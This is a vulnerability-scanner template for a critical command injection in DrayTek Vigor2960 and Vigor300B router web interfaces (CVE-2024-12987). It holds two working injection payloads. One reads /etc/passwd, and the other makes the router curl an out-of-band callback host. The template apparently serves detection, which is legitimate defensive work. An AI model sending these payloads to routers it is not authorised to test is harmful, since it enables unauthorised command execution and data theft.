id: CVE-2024-12987

info:
  name: "DrayTek Vigor2960 - Command Injection"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    A vulnerability, which was classified as critical, was found in DrayTek Vigor2960 and Vigor300B 1.5.1.4.
    Affected is an unknown function of the file /cgi-bin/mainfunction.cgi/apmcfgupload of the component Web
    Management Interface.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2024-12987&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=draytek&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-12987
    cwe-id: CWE-78
  metadata:
    verified: false
  tags: cve,cve2024,draytek,rce,router,kev,vkev,vuln
http:
  - raw:
      - |+
        GET /cgi-bin/mainfunction.cgi/apmcfgupload?session=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx0.%52$c%52$ccat${IFS}/etc/passwd HTTP/1.0
        Host: {{Hostname}}

      - |+
        GET /cgi-bin/mainfunction.cgi/apmcfgupload?session=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx0.%52$c%52$ccurl${IFS}{{interactsh-url}} HTTP/1.0
        Host: {{Hostname}}

    stop-at-first-match: true
    unsafe: true

    matchers-condition: or
    matchers:
      - type: dsl
        dsl:
          - regex('root:.*:0:0:', body)
          - contains(header, 'DWS')
          - status_code == 200
        condition: and

      - type: dsl
        dsl:
          - contains(interactsh_protocol, 'dns')
          - contains(header, 'DWS')
          - status_code == 200
        condition: and